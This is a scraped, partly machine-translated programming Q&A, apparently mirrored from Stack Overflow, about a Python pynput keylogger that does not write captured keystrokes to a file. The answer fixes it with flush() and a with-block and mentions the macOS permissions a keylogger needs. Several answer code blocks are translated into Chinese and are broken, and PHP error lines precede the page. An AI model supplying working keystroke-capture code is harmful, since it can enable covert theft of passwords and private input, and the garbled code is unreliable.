Warning: file_get_contents(/data/phpspider/zhask/data//catemap/0/svn/5.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python pynput键盘记录器不写入文件_Python_Python 3.x_Keylogger_Pynput - Fatal编程技术网

Python pynput键盘记录器不写入文件

Python pynput键盘记录器不写入文件,python,python-3.x,keylogger,pynput,Python,Python 3.x,Keylogger,Pynput,这个键盘记录程序有问题。它必须写入文件,但不能这样做。怎么了 程序必须侦听键盘并将其写入文件(在此之前,检查文件是否存在)。但它不会写入文件,它只创建文件 from pynput import keyboard import os if os.path.exists("prova3.txt") == True: f = open("prova3.txt","a") else: f = open("prova3.txt","x") def on_press(key):

这个键盘记录程序有问题。它必须写入文件,但不能这样做。怎么了

程序必须侦听键盘并将其写入文件(在此之前,检查文件是否存在)。但它不会写入文件,它只创建文件

from pynput import keyboard
import os

if os.path.exists("prova3.txt") == True:
    f = open("prova3.txt","a")
else:
    f = open("prova3.txt","x")

def on_press(key):
    try:
        f.writelines("///key [ {0} ] pressed ///".format(
            key.char))
    except AttributeError:
        f.writelines("///special key {0} pressed///".format(
            key))

def on_release(key):
    f.writelines(["///key [ {0} ] released ///".format(
        key)])

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()


首先,确保您注意到以下警告:

启动键盘侦听器可能会受到平台上的某些限制

如果你像我一样使用Mac,那么你必须这样做:

  • 进程必须以root用户身份运行
  • 您的应用程序必须在“启用辅助设备访问”下的白色列表中
对于第二项,请查看相关SO帖子

现在,对于实际的文件写入问题,一种解决方案是在调用
f.writelines
后调用,以确保数据实际写入文件。(有关说明,请参阅此相关帖子:)。我不熟悉pynput的底层实现,但文档中说它使用线程,这似乎会影响文件I/O。处理完文件后调用也是一种很好的做法

from pynput import keyboard
import os

if os.path.exists("prova3.txt") == True:
    f = open("prova3.txt","a")
else:
    f = open("prova3.txt","x")

def on_press(key):
    try:
        f.writelines("///key [ {0} ] pressed ///".format(
            key.char))
    except AttributeError:
        f.writelines("///special key {0} pressed///".format(
            key))

def on_release(key):
    f.writelines(["///key [ {0} ] released ///".format(
        key)])

with keyboard.Listener(
        on_press=on_press,
        on_release=on_release) as listener:
    listener.join()

从pynput导入键盘
如果os.path.exists(“prova3.txt”):
f=打开(“prova3.txt”、“a”)
其他:
f=打开(“prova3.txt”、“x”)
def on_按(键):
尝试:
f、 writelines(“///键[{0}]按下了///”。格式化(
关键字:char)
除属性错误外:
f、 writelines(“///特殊键{0}按了///”。格式(
钥匙)
f、 刷新()
def on_释放(钥匙):
f、 writelines([“///键[{0}]已发布///”。格式(
键)])
f、 刷新()
带键盘。监听器(
on_press=on_press,
on_release=on_release)作为侦听器:
listener.join()
f、 关闭()
另一种更好的做法是。这将
f
和pynput
侦听器都放在相同的上下文中。通过这种方式,不需要调用
flush
(但如果愿意,您仍然可以)

从pynput导入键盘
以open(“prova3.txt”、“a”)作为f:
def on_按(键):
尝试:
f、 writelines(“///键[{0}]按下了///”。格式化(
关键字:char)
除属性错误外:
f、 writelines(“///特殊键{0}按了///”。格式(
钥匙)
def on_释放(钥匙):
f、 writelines([“///键[{0}]已发布///”。格式(
键)])
带键盘。监听器(
on_press=on_press,
on_release=on_release)作为侦听器:
listener.join()